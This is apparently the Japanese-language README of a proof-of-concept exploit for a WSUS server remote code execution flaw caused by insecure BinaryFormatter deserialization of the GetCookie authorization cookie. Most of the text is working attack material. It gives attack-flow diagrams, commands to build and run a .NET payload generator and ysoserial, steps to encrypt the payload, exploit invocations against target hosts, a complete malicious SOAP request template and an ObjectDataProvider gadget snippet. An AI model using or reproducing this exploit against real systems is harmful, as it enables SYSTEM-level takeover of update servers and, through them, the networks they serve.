┌─────────────────┐
│   攻撃者        │
│                 │
│  1. BinaryFmt   │
│     ペイロード  │
│     を生成      │
│                 │
│  2. ペイロード  │
│     を暗号化    │
│                 │
│  3. SOAP        │
│     リクエスト  │
│     を送信      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS サーバー │
│                 │
│  GetCookie()    │
│  エンドポイント │
│                 │
│  DecryptData()  │◄─── 脆弱性あり
│                 │
│  BinaryFormatter│◄─── 安全でない逆シリアル化
│  Deserialize()  │
│                 │
│  ペイロードを   │◄─── SYSTEM として RCE
│  実行           │
└─────────────────┘

exploit-poc/
├── wsus_exploit.py                    # メインのエクスプロイトスクリプト
├── BinaryFormatterPayloadGenerator.cs # .NET ペイロードジェネレーター (C#)
├── encrypt_payload.py                 # WSUS 暗号化ヘルパー
├── requirements.txt                   # Python 依存関係
└── README.md                          # このファイル

pip install -r requirements.txt

# ジェネレーターをコンパイル
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# ペイロードを生成
BinaryFormatterPayloadGenerator.exe calc.exe
# 作成されるファイル: payload_YYYYMMDDHHMMSS.bin

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

# ペイロードファイルを使用 (その場で暗号化)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# 事前に暗号化されたクッキーを使用
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# HTTPS を使用 (ポート 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

# 生成、暗号化、悪用を一度に実行
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

# encrypt_wsus_cookie() 内のこの行を置き換え:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # プレースホルダー

# 実際のキーに置き換え:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter ペイロードを生成                          │
│    ObjectDataProvider → Process.Start() → コマンド実行      │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. ペイロードを暗号化                                        │
│    WSUS 暗号化キーを使用した AES-128-CBC                     │
│    送信用に Base64 エンコード                                │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP リクエストを作成                                      │
│    AuthorizationCookie ヘッダーに暗号化ペイロードを含める     │
│    SOAP ボディ内の GetCookie() メソッド                      │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS エンドポイントに送信                                  │
│    POST /ClientWebService/ClientWebService.asmx              │
│    ポート 8530 (HTTP) または 8531 (HTTPS)                    │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 処理                                                 │
│    DecryptData() がクッキーを復号化                          │
│    BinaryFormatter.Deserialize() がペイロードを実行          │
│    → SYSTEM として RCE                                       │
└─────────────────────────────────────────────────────────────┘

POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
        <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
        </AuthorizationCookie>
    </soap:Header>
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieType>AuthorizationCookie</cookieType>
        </GetCookie>
    </soap:Body>
</soap:Envelope>

ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };

%ProgramFiles%\Update Services\LogFiles\